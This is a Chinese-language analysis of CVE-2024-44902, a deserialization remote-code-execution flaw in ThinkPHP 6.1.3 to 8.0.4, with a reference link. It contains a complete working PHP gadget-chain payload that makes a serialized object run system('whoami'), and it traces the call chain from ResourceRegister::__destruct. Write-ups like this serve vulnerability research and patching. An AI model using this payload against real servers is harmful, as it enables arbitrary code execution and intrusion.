CVE-2024-44902 Thinkphp反序列化漏洞分析
漏洞介绍
Thinkphp v6.1.3至v8.0.4版本中存在反序列化漏洞,攻击者可利用此漏洞执行任意代码。
影响版本
v6.1.3 <= thinkphp <= v8.0.4
漏洞复现
先自己构造一个序列化的入口
class Index extends BaseController
{
public function test($data){
unserialize($data);
}
}
然后利用下面的payload生成序列化数据。
paylod
<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
protected $options=[];
function __construct()
{
$this->options["username"]=new Pivot();
}
}
namespace think\model;
use think\model;
class Pivot extends Model
{
}
namespace think;
abstract class Model{
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
function __construct()
{
$this->data["fru1ts"]=["whoami"];
$this->withAttr["fru1ts"]=["system"];
$this->json=["fru1ts"];
}
}
namespace think\route;
use think\DbManager;
class ResourceRegister
{
protected $registered = false;
protected $resource;
function __construct()
{
$this->registered=false;
$this->resource=new DbManager();
}
}
namespace think;
use think\model\Pivot;
class DbManager
{
protected $instance = [];
protected $config = [];
function __construct()
{
$this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
$this->config["default"]="getRule";
}
}
use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));
将生成的序列化数据同过我们构造的序列化漏洞地址进行触发。
漏洞分析
这个利用链和Tp6的利用链最后触发代码执行的链子一样。最后触发的利用链都是下面这个。
Conversion->__toString() --> Conversion->toJson() --> Conversion->toArray() --> Attribute->getAttr() --> Attribute->getValue()
和Tp6不同的是触发方法不一样,在Tp6中的入口方法为:\think\Model::__destruct方法,然后触发到Conversion,完整的链子为:
Model->__destruct() --> Model->save() --> Model->updateData() --> Model->checkAllowFields() --> Conversion->__toString() --> Conversion->toJson() --> Conversion->toArray() --> Attribute->getAttr() --> Attribute->getValue()
但是在Tp8源码中发现\think\Model::__destruct入口点已经不能用了,参考Payload给出的入口点是 \think\route\ResourceRegister::__destruct
所以完整的调用链如下。
DbManager->createConnection() --> ResourceRegister->__destruct() --> ResourceRegister->register() --> DbManager->__call() --> DbManager->connect() --> DbManager->instance() --> DbManager->createConnection() --> Memcached->__construct() --> Conversion->__toString() --> Conversion->toJson() --> Conversion->toArray() --> Attribute->getAttr() --> Attribute->getValue()
但是这个利用链也是有一个前提就是php必须已经加载了Memcached模块,因为这个利用链中的Memcached->__construct() 就是涉及到创建Memcached对象。
参考链接
https://avd.aliyun.com/detail?id=AVD-2024-44902